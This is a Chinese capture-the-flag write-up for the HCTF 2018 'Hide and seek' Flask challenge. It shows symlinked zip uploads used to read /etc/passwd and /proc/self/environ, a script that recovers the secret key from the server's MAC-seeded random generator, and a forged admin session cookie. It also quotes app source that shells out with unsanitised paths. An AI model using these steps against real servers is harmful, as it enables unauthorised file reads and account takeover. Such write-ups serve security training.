[HCTF 2018]Hide and seek

Posted keelongz

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[HCTF 2018]Hide and seek相关的知识,希望对你有一定的参考价值。

题目一览

进去,一个登陆界面:

技术图片

发现除了admin登录不了,剩下的用户名密码都可以登录:

技术图片

出现一个上传点

技术图片

P1 构造软链接读取文件

题目让我们传一个压缩包,随便试一下,发现会把压缩包里文件的内容读出来:猜测是先解压缩然后再cat

技术图片

这里就有一种利用方式可行——软链接,来源于FB的一个实际漏洞:http://www.vuln.cn/8132

软链接又叫符号链接,用ln -s创建。这个链接包含了另一个文件的路径名:它可以是任意文件或目录,可以链接不同文件系统的文件。

换而言之和,就是win下的快捷方式。软链接的用法是:

ln -s 源文件 目标文件

比如我们要读/etc/passwd,可以创建一个软链接test1:

ln -s /etc/passwd ./test1

然后cat之,可以看到成功输出了文件内容:

技术图片

所以我们直接压缩一下,然后上传试试看,发现只会输出我们本机的/etc/passwd:

技术图片

技术图片

这说明直接压缩的话,软链接就断掉了,取而代之的是压缩了链接的文件的副本

这里就要引入一个新的命令,symlinks,kali/Ubuntu下需要安装才能使用:

技术图片

这个命令可以维持软链接(符号链接):

技术图片

我们试一下:

zip --symlinks te1.zip test1

技术图片

上传,成功读取:

技术图片

P2 信息收集

参见之前做过的CISCN华东南Web4,可以知道那些系统变量可以暴露信息,比如:

/proc/self/environ   Web工作目录

发现uwsgi的配置文件位置,这里介绍一下uwsgi:

技术图片

知道这个差不多就知道了Web应用部署的目录,一看/app估计又是Flask:

技术图片

成功读取到运行模块。看来就是很简单的/app/main.py:

技术图片

读一下,???

技术图片

后来看别人的WP,可能是docker的环境变量配置有问题,已经email赵师傅。

如果环境是正确(?)的话,我们可以读到源码,

[uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config[‘SECRET_KEY‘] = str(random.random()*100)
app.config[‘UPLOAD_FOLDER‘] = ‘./uploads‘
app.config[‘MAX_CONTENT_LENGTH‘] = 100 * 1024
ALLOWED_EXTENSIONS = set([‘zip‘])

def allowed_file(filename):
    return ‘.‘ in filename and            filename.rsplit(‘.‘, 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route(‘/‘, methods=[‘GET‘])
def index():
    error = request.args.get(‘error‘, ‘‘)
    if(error == ‘1‘):
        session.pop(‘username‘, None)
        return render_template(‘index.html‘, forbidden=1)

    if ‘username‘ in session:
        return render_template(‘index.html‘, user=session[‘username‘], flag=flag.flag)
    else:
        return render_template(‘index.html‘)


@app.route(‘/login‘, methods=[‘POST‘])
def login():
    username=request.form[‘username‘]
    password=request.form[‘password‘]
    if request.method == ‘POST‘ and username != ‘‘ and password != ‘‘:
        if(username == ‘admin‘):
            return redirect(url_for(‘index‘,error=1))
        session[‘username‘] = username
    return redirect(url_for(‘index‘))


@app.route(‘/logout‘, methods=[‘GET‘])
def logout():
    session.pop(‘username‘, None)
    return redirect(url_for(‘index‘))

@app.route(‘/upload‘, methods=[‘POST‘])
def upload_file():
    if ‘the_file‘ not in request.files:
        return redirect(url_for(‘index‘))
    file = request.files[‘the_file‘]
    if file.filename == ‘‘:
        return redirect(url_for(‘index‘))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config[‘UPLOAD_FOLDER‘], filename)
        if(os.path.exists(file_save_path)):
            return ‘This file already exists‘
        file.save(file_save_path)
    else:
        return ‘This file is not a zipfile‘
try:
        extract_path = file_save_path + ‘_‘
        os.system(‘unzip -n ‘ + file_save_path + ‘ -d ‘+ extract_path)
        read_obj = os.popen(‘cat ‘ + extract_path + ‘/*‘)
        file = read_obj.read()
        read_obj.close()
        os.system(‘rm -rf ‘ + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode(‘aGN0Zg==‘).decode(‘utf-8‘)) != -1):
            return redirect(url_for(‘index‘, error=1))
    return Response(file)


if __name__ == ‘__main__‘:
    #app.run(debug=True)
    app.run(host=‘127.0.0.1‘, debug=True, port=10008)

注意这一段:

@app.route(‘/‘, methods=[‘GET‘])
def index():
    error = request.args.get(‘error‘, ‘‘)
    if(error == ‘1‘):
        session.pop(‘username‘, None)
        return render_template(‘index.html‘, forbidden=1)

    if ‘username‘ in session:
        return render_template(‘index.html‘, user=session[‘username‘], flag=flag.flag)
    else:
        return render_template(‘index.html‘)

看来是用了session,如果session里面有username的值,会把结果反映在模板index.html里,那么我们读一下/app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html:

技术图片

可以看到:

 {% if user == ‘admin‘ %}
   Your flag: <br>
     {{ flag  }}

看来要构造username=admin的session才行:

我们来看下session怎么生成的:

random.seed(uuid.getnode())
app = Flask(__name__)
app.config[‘SECRET_KEY‘] = str(random.random()*100)

和CISCN华东南Web4基本一模一样的思路,这里就直接写过过程了。

P3 Flask session伪造

1.random.seed(uuid.getnode())说明是按MAC地址生成种子的,我们先读一下:

/sys/class/net/eth0/address

技术图片

处理一下,开始写脚本,这里注意uuid.getnode()返回的是十进制,需要转一下:

import random

ma="02:42:ae:01:d8:c5"
mac=ma.replace(":", "")
random.seed(int(mac,16))
key = str(random.random() * 100)
print(key)

这样获得了key:

技术图片

2.用flask-session-cookie-manager来完成伪造session:

先decode目前的session,看一下结构:

技术图片

然后decode一下:

技术图片

那么改成把username改成admin,encode回去:

技术图片

抓包改包发送,成功获得flag:

技术图片

以上是关于[HCTF 2018]Hide and seek的主要内容,如果未能解决你的问题,请参考以下文章

BZOJ 1941 [Sdoi2010]Hide and Seek

P2951 [USACO09OPEN]捉迷藏Hide and Seek

洛谷 P2951 [USACO09OPEN]捉迷藏Hide and Seek

[bzoj1941][Sdoi2010]Hide and Seek

BZOJ-1941Hide and Seek KD-Tree

[ZOJ3522]Hide and seek